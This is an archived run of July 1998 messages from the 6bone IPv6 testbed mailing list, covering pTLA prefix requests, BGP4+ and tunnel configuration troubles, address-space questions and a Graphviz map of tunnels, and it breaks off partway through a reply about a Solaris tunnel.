jun-ichiro itojun itoh
itojun@kame.net

From 6bone-owner  Sun Jul 12 20:17:45 1998
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Subject: Re: KAME stack 
Date: Mon, 13 Jul 1998 12:17:38 +0900
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From: Jun-ichiro itojun Itoh <itojun@itojun.org>
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>	Most of the UNIX-based routers in 6bone-jp (Japan 6bone) implements
>	KAME stack.  We (kame team) do not have experience with NetBSD/pmax,
>	however, it should work with just a tiny modification into
>	sys/arch/pmax/somewhere. (calling ip6intr() from software interrupt
>	routine)

	see http://www.kame.net/ and http://www.v6.wide.ad.jp/ for more info.
	thanks,

itojun

From 6bone-owner  Mon Jul 13 19:22:04 1998
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Date: Tue, 14 Jul 1998 09:12:33 +0700
From: Booskorn Tanasomboonkit <boos@cscoms.com>
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Organization: Shinawatra Information Technology
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To: Jun-ichiro itojun Itoh <itojun@itojun.org>
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Dear Sirs,
Can anyone help me get out of this mailing list pls forward procedure
Thank you in advance
Booskorn

Jun-ichiro itojun Itoh wrote:

> >       Most of the UNIX-based routers in 6bone-jp (Japan 6bone) implements
> >       KAME stack.  We (kame team) do not have experience with NetBSD/pmax,
> >       however, it should work with just a tiny modification into
> >       sys/arch/pmax/somewhere. (calling ip6intr() from software interrupt
> >       routine)
>
>         see http://www.kame.net/ and http://www.v6.wide.ad.jp/ for more info.
>         thanks,
>
> itojun




From 6bone-owner  Tue Jul 14 06:37:59 1998
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NTT would like to be considered for pTLA assignment.


Forwarded message:
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> From: owner-6bone@ISI.EDU
> Subject: BOUNCE 6bone@zephyr.isi.edu: Non-member submission from [Nagaishi Tutomu <nagaishi@nttslb.slab.ntt.co.jp>]
> 
> >From 6bone-owner@ISI.EDU  Tue Jul 14 03:25:32 1998
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> Date: Tue, 14 Jul 1998 19:25:22 +0900
> To: RLFink@lbl.gov
> From: Nagaishi Tutomu <nagaishi@nttslb.slab.ntt.co.jp>
> Subject: Request for pTLA for NTT Software Labs.
> Cc: 6bone@ISI.EDU
> Mime-Version: 1.0
> Content-Type: text/plain; charset="us-ascii"
> 
> Dear Bob,
> 
> 
> I am writing to you because NTT Software Laboratories would like to become
> one of the 6bone backbone sites. Below I give a short outline of NTT and
> show how we meet the criteria for pTLA assignment in the Internet Draft
> [Alain Durand].
> 
> I hope that after studying these responses, you will assign a pTLA to us.
> If you do, we will expand our 6bone connectivity service.
> 
> Regards,
> 
> 
> Tsutomu Nagaishi
> Researcher
> NTT Software Laboratories 
> 
> 
> ***OUR ORGANIZATION***
> 
> Nippon Telegraph and Telephone Corporation (NTT) is the largest
> communication carrier in Japan. NTT's Software Laboratories handle research
> and development of networks and their application layer.
> 
> Further information about NTT is available at http://www.ntt.co.jp/.
> 
> ------------------------------------------------------------------
> Evidence of meeting criteria
> 
> >> 1. Must have experience with IPv6 in the 6bone, at least as a leaf site,
> >>and preferably as an NLA transit under a pTLA.
> 
>   We have been experimenting with 6bone connectivity:
>   - leaf site (3FFE:0501:0412/48) under 6bone JP-pTLA since 1997.
>   - leaf site (3FFE:1200:3002/48) under DEC CA/US-pTLA since 1997.
>   - NLA network (3FFE:0503:/32) under 6bone JP-pTLA since December
>    1997.
> 
>   We have assigned one address prefix for multiple sites below our NLA and
> are now providing transit service for 6bone connectivity.
> 
>   We have already provided information about the NLA transit experiment
> (e.g., the registry of connection sites). The URL for this information is
> http://www.nttv6.net.
> 
> >> 2. Must have the ability and intent to provide "production-like" 6bone
> >> backbone service to provide a robust and operationally reliable 6bone 
> >> backbone.
> 
>   NTT already has an ISP business  division. Furthermore, in NTT  Software
> Laboratories we have been experimenting with 6bone connectivity. Therefore,
> NTT has the skills needed to provide a "production-like" 6bone backbone
> service.
> 
> >> 3. Must have a potential "user community" that would be served by becoming
> >> a pTLA, e.g., the requester is a major player in a region, country or focus
> >> of interest.
> 
>   NTT is a major player in Japan and therefore has a large potential user
> community.
> 
> >> 4. Must commit to abide by whatever the 6bone backbone operational rules
> >> and policies are (currently there are no formal ones, but the Alain Duran
> >> draft is a start in trying to define some).
> 
>   We will commit to abide by the 6bone backbone operational rules and
> policies.
> 
> 
> Reference
> 
> [Alain Durand] Alain Durand, "6Bone Routing Practice", May 1998,
>               "Guidelines for 6Bone pTLA sites", p. 5-6.
> 
> 


-- 
"When in doubt, Twirl..."  -anon

From 6bone-owner  Tue Jul 14 09:28:32 1998
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Date: Tue, 14 Jul 1998 09:28:23 -0700
To: 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: Fwd: Request for pTLA for NTT Software Labs.
Cc: Nagaishi Tutomu <nagaishi@nttslb.slab.ntt.co.jp>
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6bone list:

Tsutomu Nagaishi of NTT has requested a pTLA for NTT (see request form below).

I would like to respond to this request by the 28th of July, so please send me your comments on this request by closs of business on July 27.


Thanks,

Bob

======================================
>Date: Tue, 14 Jul 1998 19:25:22 +0900
>To: RLFink@lbl.gov
>From: Nagaishi Tutomu <nagaishi@nttslb.slab.ntt.co.jp>
>Subject: Request for pTLA for NTT Software Labs.
>Cc: 6bone@isi.edu
>
>Dear Bob,
>
>
>I am writing to you because NTT Software Laboratories would like to become
>one of the 6bone backbone sites. Below I give a short outline of NTT and
>show how we meet the criteria for pTLA assignment in the Internet Draft
>[Alain Durand].
>
>I hope that after studying these responses, you will assign a pTLA to us.
>If you do, we will expand our 6bone connectivity service.
>
>Regards,
>
>
>Tsutomu Nagaishi
>Researcher
>NTT Software Laboratories 
>
>
>***OUR ORGANIZATION***
>
>Nippon Telegraph and Telephone Corporation (NTT) is the largest
>communication carrier in Japan. NTT's Software Laboratories handle research
>and development of networks and their application layer.
>
>Further information about NTT is available at http://www.ntt.co.jp/.
>
>------------------------------------------------------------------
>Evidence of meeting criteria
>
>>> 1. Must have experience with IPv6 in the 6bone, at least as a leaf site,
>>>and preferably as an NLA transit under a pTLA.
>
>  We have been experimenting with 6bone connectivity:
>  - leaf site (3FFE:0501:0412/48) under 6bone JP-pTLA since 1997.
>  - leaf site (3FFE:1200:3002/48) under DEC CA/US-pTLA since 1997.
>  - NLA network (3FFE:0503:/32) under 6bone JP-pTLA since December
>   1997.
>
>  We have assigned one address prefix for multiple sites below our NLA and
>are now providing transit service for 6bone connectivity.
>
>  We have already provided information about the NLA transit experiment
>(e.g., the registry of connection sites). The URL for this information is
>http://www.nttv6.net.
>
>>> 2. Must have the ability and intent to provide "production-like" 6bone
>>> backbone service to provide a robust and operationally reliable 6bone 
>>> backbone.
>
>  NTT already has an ISP business  division. Furthermore, in NTT  Software
>Laboratories we have been experimenting with 6bone connectivity. Therefore,
>NTT has the skills needed to provide a "production-like" 6bone backbone
>service.
>
>>> 3. Must have a potential "user community" that would be served by becoming
>>> a pTLA, e.g., the requester is a major player in a region, country or focus
>>> of interest.
>
>  NTT is a major player in Japan and therefore has a large potential user
>community.
>
>>> 4. Must commit to abide by whatever the 6bone backbone operational rules
>>> and policies are (currently there are no formal ones, but the Alain Duran
>>> draft is a start in trying to define some).
>
>  We will commit to abide by the 6bone backbone operational rules and
>policies.
>
>
>Reference
>
>[Alain Durand] Alain Durand, "6Bone Routing Practice", May 1998,
>              "Guidelines for 6Bone pTLA sites", p. 5-6.
> 

From 6bone-owner  Wed Jul 15 08:37:44 1998
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Message-ID: <19980715183411.B5384@noc.ntua.gr>
Date: Wed, 15 Jul 1998 18:34:11 +0300
From: Yiorgos Adamopoulos <Y.Adamopoulos@noc.ntua.gr>
To: 6bone@ISI.EDU
Subject: private ASNs and cisco IOS
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Does anyone on the 6bone now make use of private ASNs with cisco boxes?

--
Yiorgos Adamopoulos               -- #include <std/disclaimer.h>
mailto: Y.Adamopoulos@noc.ntua.gr -- Network Operations Center, NTUA, GREECE


From 6bone-owner  Wed Jul 15 09:13:15 1998
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Date: Wed, 15 Jul 1998 09:13:10 -0700
To: 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: INTEROP pTLA released
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The INTEROP pTLA has been released.

		not assigned 3FFE:1800::/24

http://www.6bone.net/6bone_pTLA_list.html


Thanks,

Bob

From 6bone-owner  Wed Jul 15 11:38:14 1998
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	(Smail-3.2 1996-Jul-4 #7 built 1997-Oct-7)
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Date: Wed, 15 Jul 1998 22:41:21 +0400
From: peter dawson <peterdd@gto.net.om>
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I happened to come across this bit of info on the home IPng home
pages and have a
question.

IPng supports addresses which are four times the number of bits
as IPv4 addresses (128 vs. 32).  This is 4 Billion times 4
Billion (2^^96) times the size of the IPv4 address
space (2^^32). This  works out to be:

340,282,366,920,938,463,463,374,607,431,768,211,456

Approximately fifteen percent of the address space is initially
allocated. The remaining 85% is
reserved for future use.

 Now my question .... 15% of 4 billion times 4 billion is an
awfull lot of IP address
space which has been allocated ... for what reasons has these
allocations taken
place and how will they be used ??

/pete


From 6bone-owner  Wed Jul 15 16:35:33 1998
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To: peter dawson <peterdd@gto.net.om>
Cc: 6bone <6bone@ISI.EDU>
Subject: Re: IPv6 Address allocation
References: <35ACF7D1.DEF33A44@gto.net.om>
From: Magnus Ahltorp <map@stacken.kth.se>
Date: 16 Jul 1998 01:35:05 +0200
In-Reply-To: peter dawson's message of Wed, 15 Jul 1998 22:41:21 +0400
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> Now my question .... 15% of 4 billion times 4 billion is an awfull
> lot of IP address space which has been allocated ...  for what
> reasons has these allocations taken place and how will they be used

It is not only a matter of the number of addresses that can be in
use. A lot of addresses has to be wasted to make routing
efficient. For example, it is impractical to route at something other
than bit boundaries, i.e. the significant part of the address (at a
specific router) is the n left bits of the address (indicated with /n
after the address).

To make the routing feasible, routing must also be hierarchical. This
means that there is a top level routing and routing levels beneath
that. In the 6bone, the top level routing is performed by the backbone
routers as you can see on the various diagrams on the 6bone web site.

Hierarchical routing waste even more addresses, since every routing
level must have well defined bit boundaries, or to put it in another
way, the address is divided into smaller parts. If you look in the
Internet draft draft-ietf-ipngwg-addr-arch-v2-06.txt, their suggestion
is to have 3 bits for format prefix, 13 bits for TLA (Top-level
aggregation identifier), 8 bits reserved, 24 bits NLA (Next-level
aggregation identifier), 16 bits for intra-site routing and 64 bits
for an interface identifier.

This adds up to 128 bits.

/Magnus
map@stacken.kth.se

From 6bone-owner  Thu Jul 16 05:27:34 1998
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Message-ID: <19980716152333.A29664@noc.ntua.gr>
Date: Thu, 16 Jul 1998 15:23:33 +0300
From: Yiorgos Adamopoulos <Y.Adamopoulos@noc.ntua.gr>
To: 6bone@ISI.EDU
Subject: alternative drawing of 6bone tunnels between pTLAs
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Hi all,

Take a look at http://ajax.noc.ntua.gr/~adamo/6bone.gif

It displays the tunnels between pTLAs from data drawn out of
ftp://ftp.isi.edu/6bone/6bone.db.gz

Not as good as the one at 6bone.net site, but something done using Graphviz
;-)

--
Yiorgos Adamopoulos               -- #include <std/disclaimer.h>
mailto: Y.Adamopoulos@noc.ntua.gr -- Network Operations Center, NTUA, GREECE


From 6bone-owner  Thu Jul 16 06:41:13 1998
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Date: Thu, 16 Jul 1998 06:39:55 -0700
To: Y.Adamopoulos@noc.ntua.gr, 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: alternative drawing of 6bone tunnels between pTLAs
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Yiorgos,

At 03:23 PM 7/16/98 +0300, Yiorgos Adamopoulos wrote:
>Hi all,
>
>Take a look at http://ajax.noc.ntua.gr/~adamo/6bone.gif
>
>It displays the tunnels between pTLAs from data drawn out of
>ftp://ftp.isi.edu/6bone/6bone.db.gz
>
>Not as good as the one at 6bone.net site, but something done using Graphviz

I like it. Has a certain elegance of free form.

Are you going to produce it regularly or was it one time?


Thanks,

Bob

From 6bone-owner  Thu Jul 16 07:26:40 1998
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Date: Thu, 16 Jul 1998 17:22:27 +0300
From: Yiorgos Adamopoulos <Y.Adamopoulos@noc.ntua.gr>
To: Bob Fink <rlfink@lbl.gov>, Y.Adamopoulos@noc.ntua.gr, 6bone@ISI.EDU
Subject: Re: Re: alternative drawing of 6bone tunnels between pTLAs
Reply-To: Y.Adamopoulos@noc.ntua.gr
References: <19980716152333.A29664@noc.ntua.gr> <1311551229-552393599@cnrmail.lbl.gov>
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On Thu, Jul 16, 1998 at 06:39:55AM -0700, Bob Fink wrote:
> 
> Are you going to produce it regularly or was it one time?
> 

I am going to improve the script (so as to show routing protocols) and run it
regularly.  How often does ftp://ftp.isi.edu/6bone.db.gz gets updated?



--
Yiorgos Adamopoulos               -- #include <std/disclaimer.h>
mailto: Y.Adamopoulos@noc.ntua.gr -- Network Operations Center, NTUA, GREECE


From 6bone-owner  Thu Jul 16 07:41:57 1998
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To: Y.Adamopoulos@noc.ntua.gr, Y.Adamopoulos@noc.ntua.gr, 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: Re: alternative drawing of 6bone tunnels between pTLAs
Cc: David Kessens <davidk@ISI.EDU>
In-Reply-To: <19980716172227.C17489@noc.ntua.gr>
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Yiorgos,

At 05:22 PM 7/16/98 +0300, Yiorgos Adamopoulos wrote:
>On Thu, Jul 16, 1998 at 06:39:55AM -0700, Bob Fink wrote:
>> 
>> Are you going to produce it regularly or was it one time?
>> 
>
>I am going to improve the script (so as to show routing protocols) and run it
>regularly.  How often does ftp://ftp.isi.edu/6bone.db.gz gets updated?

I believe it is daily.

David Kessens can tell us for sure.


When you finish up, please let me know, and I'll put a pointer to it on the 6bone web page.

Thanks,

Bob

From 6bone-owner  Thu Jul 16 08:06:38 1998
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From: Yiorgos Adamopoulos <Y.Adamopoulos@noc.ntua.gr>
To: Bob Fink <rlfink@lbl.gov>, Y.Adamopoulos@noc.ntua.gr, 6bone@ISI.EDU
Cc: David Kessens <davidk@ISI.EDU>
Subject: Re: Re: Re: alternative drawing of 6bone tunnels between pTLAs
Reply-To: Y.Adamopoulos@noc.ntua.gr
References: <1311551229-552393599@cnrmail.lbl.gov> <19980716152333.A29664@noc.ntua.gr> <1311551229-552393599@cnrmail.lbl.gov> <19980716172227.C17489@noc.ntua.gr> <1311547583-552612909@cnrmail.lbl.gov>
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On Thu, Jul 16, 1998 at 07:41:49AM -0700, Bob Fink wrote:
> 
> When you finish up, please let me know, and I'll put a pointer to it on the 6bone web page.
> 

I am also interested in bug-reports (ie. tunnels between pTLAs than do not
show and such).

I already had one bug report from CAIRN.

--
Yiorgos Adamopoulos               -- #include <std/disclaimer.h>
mailto: Y.Adamopoulos@noc.ntua.gr -- Network Operations Center, NTUA, GREECE


From 6bone-owner  Thu Jul 16 08:45:29 1998
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Date: Thu, 16 Jul 1998 08:22:24 -0700 (PDT)
From: "Sébastien" Col <seb_col@yahoo.com>
Subject: Re: IPv6 Address allocation
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peter dawson <peterdd@gto.net.om> wrote:

... for what reasons has these
allocations taken
place and how will they be used ??


**It is for the toasters!**




_________________________________________________________
DO YOU YAHOO!?
Get your free @yahoo.com address at http://mail.yahoo.com


From 6bone-owner  Thu Jul 16 09:51:56 1998
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Date: Thu, 16 Jul 1998 19:48:25 +0300
From: Yiorgos Adamopoulos <Y.Adamopoulos@noc.ntua.gr>
To: 6bone@ISI.EDU
Cc: ipv6@noc.ntua.gr, aggel@teipir.gr
Subject: how to use private ASs on 6bone?
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Hi all,

GRNET has customers who in the IPv4 feed use private ASNs.  Now we want to use
private ASNs for the IPv6 feeds.  In collaboration with one of out customers we
tried this using AS 65001 but I was unable to remove 65001 from the AS path
list.

Has anyone else implemented private ASNs like this on the 6bone?  the
remove-private-AS command does not seem to work on our cisco for BGP4+ (IPv6
addresses).

--
Yiorgos Adamopoulos               -- #include <std/disclaimer.h>
mailto: Y.Adamopoulos@noc.ntua.gr -- Network Operations Center, NTUA, GREECE


From 6bone-owner  Thu Jul 16 10:39:01 1998
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Subject: Re: Re: alternative drawing of 6bone tunnels between pTLAs
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Yiorgos,

On Thu, Jul 16, 1998 at 05:22:27PM +0300, Yiorgos Adamopoulos wrote:
> On Thu, Jul 16, 1998 at 06:39:55AM -0700, Bob Fink wrote:
> > 
> > Are you going to produce it regularly or was it one time?
> 
> I am going to improve the script (so as to show routing protocols) and run it
> regularly.  How often does ftp://ftp.isi.edu/6bone.db.gz gets updated?

It's updated daily, somewhere between 00:00-1:00am pacific time.

The best source for the file is:

ftp://whois.6bone.net/6bone/6bone.db.gz

The file is stored at other locations too, for ease of use and fall
back purposes in case of failures.

Note that you can check for '# EOF' at the end of the file to make
sure that you got the complete file.

David K.
---

From 6bone-owner  Thu Jul 16 12:51:54 1998
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Wanted to solicit if anyone is interested in getting a peering going. I have a /32 (3ffe:2900) and a 
7200 with lots-o-ram. Please write rrockell@sprint.net and copy chall@sprint.net if interested
This is strictly a non-supported offer, and is independant of Sprinltink Operations (sort of a pet project for 
some of us).


Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833


From 6bone-owner  Thu Jul 16 21:04:37 1998
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From: "Raphael Lee" <raphael@icu.ac.kr>
To: <6bone@ISI.EDU>
Subject: BGP4+ for Linux IPv6
Date: Fri, 17 Jul 1998 13:03:40 +0900
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Hello.. This is Raphael Lee in ICU, Korea.
I installed Linux Red-Hat 5.0 to PC, and.. deployed IPv6.(kernel 2.1.102)
I success to 6bone-kr router..

but..it had two problems..
I want to deploy BGP4+.
So, I installed 'mrtd(Merit) binary for linux 2.1.102' . but.. it is not
work..
and.. I tried to install 'mrtd source version' but.. it had many compile
errors.
and.. I tried to install 'gated - IPv6' but.. it is working on FreeBSD.
I tried to fix 'gated source' and.. configuration.. but.. It doesn't work...

Who knows BGP4+ program for linux 2.1.102 ?
or How to install 'mrtd' for linux 2.1.102?
Of course, I read all for their "installation guide".

I wait... your answer..

See you..




From 6bone-owner  Fri Jul 17 08:01:06 1998
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Date: Fri, 17 Jul 1998 17:57:35 +0300
From: Yiorgos Adamopoulos <Y.Adamopoulos@noc.ntua.gr>
To: Simon Leinen <simon@limmat.switch.ch>
Cc: 6bone@ISI.EDU
Subject: Re: alternative drawing of 6bone tunnels between pTLAs
Reply-To: Y.Adamopoulos@noc.ntua.gr
References: <1311551229-552393599@cnrmail.lbl.gov> <19980716152333.A29664@noc.ntua.gr> <1311551229-552393599@cnrmail.lbl.gov> <19980716172227.C17489@noc.ntua.gr> <1311547583-552612909@cnrmail.lbl.gov> <19980716180230.B26370@noc.ntua.gr> <aazpe8v8o9.fsf@babar.switch.ch>
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In-Reply-To: <aazpe8v8o9.fsf@babar.switch.ch>; from Simon Leinen on Fri, Jul 17, 1998 at 04:44:38PM +0200
Organization: NTUA-NOC, National Technical University of Athens, GREECE 
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On Fri, Jul 17, 1998 at 04:44:38PM +0200, Simon Leinen wrote:
> The only problem I have with it is that the nodes are laid out with
> very little concern about geographic or (IPv4-) topological distance.

I could give it a shot, but:

The drawing algorithm is not mine ;-)  It is the algorithm that ``dot'' uses
to produce graphs.  All I do is parse the 6bone.db file and find out the
tunnels that exist between pTLAs.  Then I feed them to ``dot'' like:

graph G {
	"GRNET" -- "EWD-3COM"
	"GRNET" -- "SWITCH"
	:
	:
}

I'll see what I can do to put some GIS on the graph ;-)

--
Yiorgos Adamopoulos               -- #include <std/disclaimer.h>
mailto: Y.Adamopoulos@noc.ntua.gr -- Network Operations Center, NTUA, GREECE


From 6bone-owner  Fri Jul 17 14:18:06 1998
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To: "Raphael Lee" <raphael@icu.ac.kr>
cc: 6bone@ISI.EDU
Subject: Re: BGP4+ for Linux IPv6 
In-reply-to: Your message of "Fri, 17 Jul 1998 13:03:40 +0900."
             <001301bdb137$e7ce0c40$2e32fe81@raphael.etri.re.kr> 
Date: Fri, 17 Jul 1998 17:17:50 -0400
From: Masaki Hirabaru <masaki@merit.edu>
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Hi Raphael,

The binary of MRT for Linux 2.1.102 was built on Slackware with
my own kernel configuration, so it may or may not run on your
Linux box. The snapshot of MRT source code I'm preparing now will
run on Redhat 5.1 but will depend on what kind of IPv6 libc you
use.  In general, questions specific to MRT would go to its
users' mailling-list <mrt-discuss@merit.edu>.

I'm afraid that IPv6 Gated available from INRIA doesn't run on
Linux. I think that you now know that IPv6 API related to socket
has been standardized, but other IPv6 extension to routing and
network interface API depend on platforms.

Thanks,
Masaki
MRT Project
Merit Network, Inc.

> Message-ID: <001301bdb137$e7ce0c40$2e32fe81@raphael.etri.re.kr>
> From: "Raphael Lee" <raphael@icu.ac.kr>
> To: <6bone@ISI.EDU>
> Subject: BGP4+ for Linux IPv6
> Date: Fri, 17 Jul 1998 13:03:40 +0900
> X-Priority: 3
> X-MSMail-Priority: Normal
> X-Mailer: Microsoft Outlook Express 4.72.2106.4
> X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
> Sender: owner-6bone@ISI.EDU
> Precedence: bulk
> 
> Hello.. This is Raphael Lee in ICU, Korea.
> I installed Linux Red-Hat 5.0 to PC, and.. deployed IPv6.(kernel 2.1.102)
> I success to 6bone-kr router..
> 
> but..it had two problems..
> I want to deploy BGP4+.
> So, I installed 'mrtd(Merit) binary for linux 2.1.102' . but.. it is not
> work..
> and.. I tried to install 'mrtd source version' but.. it had many compile
> errors.
> and.. I tried to install 'gated - IPv6' but.. it is working on FreeBSD.
> I tried to fix 'gated source' and.. configuration.. but.. It doesn't work...
> 
> Who knows BGP4+ program for linux 2.1.102 ?
> or How to install 'mrtd' for linux 2.1.102?
> Of course, I read all for their "installation guide".
> 
> I wait... your answer..
> 
> See you..
> 
> 
> 


From 6bone-owner  Thu Jul 23 13:37:44 1998
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Date: Thu, 23 Jul 1998 13:37:23 -0700
To: 6bone@ISI.EDU, ngtrans@sunroof.eng.sun.com
From: Bob Fink <rlfink@lbl.gov>
Subject: ngtrans meeting times for August IETF
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Just received confirmations from the IETF Secretariat:

>This is to confirm two one hour slots for NGTRANS as follows:
>
>
>    Tuesday, August 25 at 1300- 1400
>       other groups scheudled at that time: dasl, swap-BOF, manet, malloc
>    Tuesday, August 25 at 1415-1515
>       other groups scheduled at that time: ircext-BOF, sieve-BOF, manet,
>         ipsec, malloc

Bob

From 6bone-owner  Mon Jul 27 07:26:55 1998
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From: Robert Rockell <rrockell@sprint.net>
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Subject: BGP oddity
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having trouble with an IGP bgp4+ peering

routes are showing up as
B 3FFE:2C00::0/24 [200/4]
  via 3FFE:C00:E:1::1, Null, 00:00:00/never

instead of having the interface listed, they are "nulled" 


-running cisco 0501 code, and this is an IGP peering. Anyone run into this?
All peers are tunneled mode ipv6ip. 


This is causing much problems for our downstreams, and is forcing us to
default route to people in less-than-friendly ways.

thanks in advance.



Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833


From 6bone-owner  Mon Jul 27 13:34:31 1998
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Date: Mon, 27 Jul 1998 13:33:55 -0700 (PDT)
Message-Id: <199807272033.NAA29003@pedrom-ultra.cisco.com>
From: Pedro Marques <roque@cisco.com>
To: Robert Rockell <rrockell@sprint.net>
Cc: 6bone@ISI.EDU
Subject: BGP oddity
In-Reply-To: <Pine.GSO.3.95.980727100937.16340A-100000@iscserv.res.sprintlink.net>
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>>>>> "Robert" == Robert Rockell <rrockell@sprint.net> writes:

    Robert> having trouble with an IGP bgp4+ peering routes are
    Robert> showing up as B 3FFE:2C00::0/24 [200/4] via
    Robert> 3FFE:C00:E:1::1, Null, 00:00:00/never

Rob,
This is a cisco support question which should go to the cisco ipv6 beta
mailing list instead of the 6bone list which is not concerned with
support of any particular vendor's equipment.

    Robert> instead of having the interface listed, they are "nulled"

They are recursive routes. Routes for which the next-hop is not directly
connected. That route should only be in the routing table if a route to
3FFE:C00:E:1::1 is present.

    Robert> -running cisco 0501 code, and this is an IGP
    Robert> peering. Anyone run into this?  All peers are tunneled
    Robert> mode ipv6ip.

When you send your problem report to cisco please include the config file.

    Robert> This is causing much problems for our downstreams, and is
    Robert> forcing us to default route to people in
    Robert> less-than-friendly ways.

It is not clear to me that you have anything unusual. You should have an
IGP route to 3ffe:c00:e:1::1 that resolves the BGP route and allows you
to forward traffic.

regards,
  Pedro.



From 6bone-owner  Mon Jul 27 13:57:45 1998
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From: Robert Rockell <rrockell@sprint.net>
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To: Pedro Marques <roque@cisco.com>
cc: 6bone@ISI.EDU
Subject: Re: BGP oddity
In-Reply-To: <199807272033.NAA29003@pedrom-ultra.cisco.com>
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Thanks for the message. Please mail me the cisco mailing list domain, and I
will sign up for it, and report there.

the null routes may not be the problem, but I am not able to send a routing
table between two ibgp peers. I moved the necessary peering stuff onto the
same router, and then split it again, and this time is stuck in the table. I
have always seen bgp routes, but they are not getting put into the routing
table.
 Since most of everyone uses cisco, I just
assumed that someone out there would know. NOt trying to diss the ios, but
trying to make my 6-bone pass routes.


Anyway, thanks for the note. Please send me the mailing list to subscribe
to, and I woudl be happy to do so.


Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833

On Mon, 27 Jul 1998, Pedro Marques wrote:

->>>>>> "Robert" == Robert Rockell <rrockell@sprint.net> writes:
->
->    Robert> having trouble with an IGP bgp4+ peering routes are
->    Robert> showing up as B 3FFE:2C00::0/24 [200/4] via
->    Robert> 3FFE:C00:E:1::1, Null, 00:00:00/never
->
->Rob,
->This is a cisco support question which should go to the cisco ipv6 beta
->mailing list instead of the 6bone list which is not concerned with
->support of any particular vendor's equipment.
->
->    Robert> instead of having the interface listed, they are "nulled"
->
->They are recursive routes. Routes for which the next-hop is not directly
->connected. That route should only be in the routing table if a route to
->3FFE:C00:E:1::1 is present.
->
->    Robert> -running cisco 0501 code, and this is an IGP
->    Robert> peering. Anyone run into this?  All peers are tunneled
->    Robert> mode ipv6ip.
->
->When you send your problem report to cisco please include the config file.
->
->    Robert> This is causing much problems for our downstreams, and is
->    Robert> forcing us to default route to people in
->    Robert> less-than-friendly ways.
->
->It is not clear to me that you have anything unusual. You should have an
->IGP route to 3ffe:c00:e:1::1 that resolves the BGP route and allows you
->to forward traffic.
->
->regards,
->  Pedro.
->
->


From 6bone-owner  Thu Jul 30 04:03:19 1998
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Date: Thu, 30 Jul 1998 12:02:21 +0100 (BST)
From: Andrew Watkins <andrew@dcs.bbk.ac.uk>
Reply-To: Andrew Watkins <andrew@dcs.bbk.ac.uk>
Subject: Tunneling from a Solaris hosts.
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Hello,

I sure this is an easy one for you lot, but not for me!!

I am setting up a IPv6 host, but so far I have been unable to
ping hosts past the 6bone. I can ping the 6bone but no others, also
I have used Lancaster Univ. ping web program and have failed to ping my IPv6 
interface.

Any help would be welcome.

Andrew Watkins

Here is the script of the installation, plus a summary:

pv4 tunnel entry: 144.82.29.51 
ipv4 tunnel end:  193.63.94.6 
ipv6 source:      3ffe:2100:0001:0010::0/64 
ipv6 destination: 3FFE:2100:0001:0010:0:C46:B898:10 
====================================================
%/usr/ipv6/etc/conf_ipv6

This script is used to configure the start up scripts for the
IPv6 prototype. The file that this script produces is
/etc/rc2.d/S70ipv6. This file can be editted after completing
this configuration script.



Should this node perform automatic tunneling? (y/n) [Y] 

Configuring tunnel for address ::144.82.29.51


Create a configured tunnel. This is an IPv6 interface that operates
by encapsulating IPv6 packets in IPv4 packets.
You must provide the IPv4 entry/endpoint of the tunnel as well as the
IPv6 source and destination address of the tunnel.
For 6BONE connection please consult: http://www-6bone.lbl.gov/6bone/ 

Should this node do configured tunneling? (y/n) [Y] 

The following must be the IPv4 address of an existing interface, 
Enter the IPv4 tunnel entry-point src address [def:144.82.29.51] 
Enter the IPv4 tunnel exit-point address: 193.63.94.6
Enter the IPv6 source address: 3ffe:2100:0001:0010::0/64
Enter the IPv6 destination address: 3FFE:2100:1:10:0:C46:B898:10

Here is the info you specified for the configured tunnel 
ipv4 tunnel entry: 144.82.29.51 
ipv4 tunnel end: 193.63.94.6 
ipv6 source:      3ffe:2100:0001:0010::0/64 
ipv6 destination: 3FFE:2100:0001:0010:0:C46:B898:10 
Is this correct? y/n [n] y
Do you want to create another configured tunnel interface? (y/n) [n]


In this section information about IPv6 network interfaces
is entered. The name of an IPv6 interfaces is of the form
<name><unit>#v6. That is they are the same as IPv4 interfaces
only have a #v6 appended. If you choose to configure IPv6
network interfaces, this script will search for all the IPv4
network interfaces (at least those listed in /etc/hostname.*)
and for each one found ask if an IPv6 interface should be configured.
Currently *only* ethernet interfaces are supported.

Do you wish to configure IPv6 interfaces? (y/n) [Y] 

Found interfaces:  le0.

Do you want an IPv6 interface for "le0"? (y/n) [Y] 


An interface can be set to send router advertisments. With
router advertisments onlink prefixes can be advertised and this
node can be advertised as a default router.

Should this interface do router advertising? (y/n) [N] 

Every IPv6 interface automatically has one address automatically
configured called the link local address. This is usually
determined by combining the hardware address of the interface
with some standard address prefix. Other addresses can also
be configured on the interface.

Do you want to configure other addresses? (y/n) [N] 

The routing protocol RIPv6 is supported through the routing daemon
"in.routed6". This daemon can be run on a node that is acting as
a router and is participating in routing propogation with other
routers.

Would you like run in.routed6 (y/n) [N] 

All the necessary configuration information has been gathered. If you
do not want to write the configuration to the startup script
/etc/rc2.d/S70ipv6 you can choose not to now. Else, the script will be
created and upon reboot it will take effect.

Write result to /etc/rc2.d/S70ipv6? (y/n) [Y] 

Wrote results to /etc/rc2.d/S70ipv6

........


IPv6 configuration is complete.
You may undo the changes you have mad and
restore the system to its original state by:
pkgrm SUNWipv6

Please reboot for changes to take affect.
=============================


From 6bone-owner  Thu Jul 30 18:10:21 1998
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Date: Fri, 31 Jul 1998 09:08:58 -0700
From: "danny@public.bjnet.edu.cn" <danny@public.bjnet.edu.cn>
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To: andrew@dcs.bbk.ac.uk
CC: 6bone@ISI.EDU
Subject: Re: Tunneling from a Solaris hosts.
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Hi, Andrew,

I am not familiar to the IPv6 stack on Solaris, but I think the
experiences on FreeBSD may be help you. 

In my point of view, tunnel is a mapping from a pair of IPv6 addresses
to a pair of IPv4 addresses. So at first, you should be sure that you
have assigned the correspoding addresses to the tunnel point. 

Note that you should give the source IPv6 address with /128 prefix, for
